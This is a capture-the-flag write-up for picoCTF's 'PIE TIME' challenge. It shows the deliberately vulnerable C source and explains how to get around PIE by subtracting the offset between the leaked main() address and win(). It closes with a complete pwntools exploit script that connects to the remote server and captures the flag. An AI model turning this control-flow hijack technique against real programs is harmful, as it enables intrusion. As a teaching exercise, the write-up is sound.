---
# System prepended metadata

title: picoCTF - PIE TIME Writeup

---

# picoCTF - PIE TIME Writeup

URL: https://play.picoctf.org/practice/challenge/490?category=6&page=1

---

## Analysis

This challenge provides source code and binary. 

Let’s check the source code first:

```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}
```

From the source code, we know the program are doing following things:

- Provides the address of main()
- Asks user input a address (in hex)
- Create a void function  foo()
- The address of  foo()  will be  val  , which is user input address
- Execute  foo()

According to the observation above, the key point is if we can find the address of  win()  we can make the program to execute it and print the flag.

So the next step is to find out how to get the address of  win()  

![螢幕擷取畫面 2025-09-16 155751](https://hackmd.io/_uploads/S17xBi8jlg.png)

From the description of the challenge, we know that PIE is enabled

Actually, we can simply check if PIE is enabled by using  pwntools 

```python
from pwn import *

elf = ELF('./vuln')

print(elf.pie) # Print True if PIE is enabled, otherwise print False
```

After executed this script, the output will be:

![螢幕擷取畫面 2025-09-16 160947](https://hackmd.io/_uploads/ryBZBiLsge.png)

And PIE is enabled means that we can’t just use the address on the local binary as the address of  win()  on the remote server, Since PIE(Position-Independent Executable) is a security feature that randomizes the memory addresses of a program's code, data, and libraries every time it is run.

### What can we do?

The key point is even if PIE is enabled, the offset between functions are always the same

So the address of  win()  is:  &win = &main - offset

And the next step is go to find the offset between  main()  and  win() 

First, i use  pwndbg  on local binary file.

![螢幕擷取畫面 2025-09-16 155332](https://hackmd.io/_uploads/Sy3mBjIjel.png)

I set a breakpoint on main() for check the address of main() and win()
![螢幕擷取畫面 2025-09-16 155507](https://hackmd.io/_uploads/Bkj4Ss8sxl.png)

Great! we have already got the offset between main() and win() 

So we know that the address of  win()  is the address of  main()  subtract 150

First, i try this on the local binary:

![螢幕擷取畫面 2025-09-16 161405](https://hackmd.io/_uploads/rkDDroIsxg.png)

The address of main() is 0x61487c1ab33d, and subtract by 0x96(150) to obtain the address of win() 

```
0x61487c1ab33d - 0x96 = 0x61487c1ab2a7 <- This the address of win()
```

Exactly! we find the correct way to jump to win() !

---

## Exploitation

Finally, we can write a script to exploit the remote server to get the final flag

I use  pwntools  to write a exploit script:

```python
from pwn import *
import re

elf = context.binary = ELF('./vuln')

flag_pattern = re.compile(r'picoCTF\{.*?\}')

def connect():
    # Usage: python3 exploit.py [REMOTE] [HOST=<host>] [PORT=<port>] [GDB]
    if args.REMOTE:
        if args.HOST and args.PORT:    
            r = remote(args.HOST, int(args.PORT))
        else:
            log.error("Please provide HOST and PORT for remote connection.")
    else:
        r = process([elf.path])
        if args.GDB:
            gdb.attach(r)
    
    return r

def run():
    # Use local elf to calculate the offset between main and win
    main_address = elf.symbols['main']
    win_address = elf.symbols['win']
    
    offset = main_address - win_address
    log.info(f"Offset between main and win: {offset}")
    
    r = connect()
    
    # Get the address of main from the remote server
    r.recvuntil(b'Address of main: ')
    main_remote = int(r.recvline().strip(), 16)
    log.info(f"Remote main address: {hex(main_remote)}")
    
    # Calculate the address of win on the remote server
    win_remote = main_remote - offset
    log.info(f"Remote win address: {hex(win_remote)}")
    
    # Send the win address to get the flag
    r.recvuntil(b'Enter the address to jump to, ex => 0x12345:')
    r.sendline(hex(win_remote).encode())

    res = r.recvall()
    print(res.decode())
    match = re.search(flag_pattern, res.decode())
    
    if match:
        flag = match[0]
        log.success(f"Flag: {flag}")
    else:
        log.error("Flag not found in the response.")
        
    r.interactive()
    
if __name__ == "__main__":
    run()
```

And the output will be:

![螢幕擷取畫面 2025-09-16 162954](https://hackmd.io/_uploads/HJCdHoLjll.png)

We got the final flag!

---

## Summarization

The key point is the program provides the address of  main()  and the offset between functions are always the same, base on these two facts, we should be able to realize that we can obtain the address of  win()  by subtract the offset from the address of  main()  

Also using tools like  pwndbg  ,   pwntools  , etc is very important, these tools can done things very efficiently.

---

## References

https://medium.com/@fnnnr/picoctf-pie-time-easy-4f7e10b22209

https://www.redhat.com/en/blog/position-independent-executables-pie